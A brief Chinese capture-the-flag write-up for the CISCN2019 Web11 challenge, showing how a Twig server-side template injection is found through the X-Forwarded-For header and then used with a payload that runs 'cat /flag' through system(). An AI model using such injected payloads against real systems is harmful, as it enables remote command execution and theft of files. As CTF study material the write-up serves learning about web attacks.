CISCN2019 华东南赛区Web11

和[BJDCTF2020]The mystery of ip 这个很类似
抓包 通过X-Forwarded-For 来找点

X-Forwarded-For= {{7*'7'}}  回显49==> Twig 
直接就X-Forwarded-For: {{system("cat /flag")}}就可以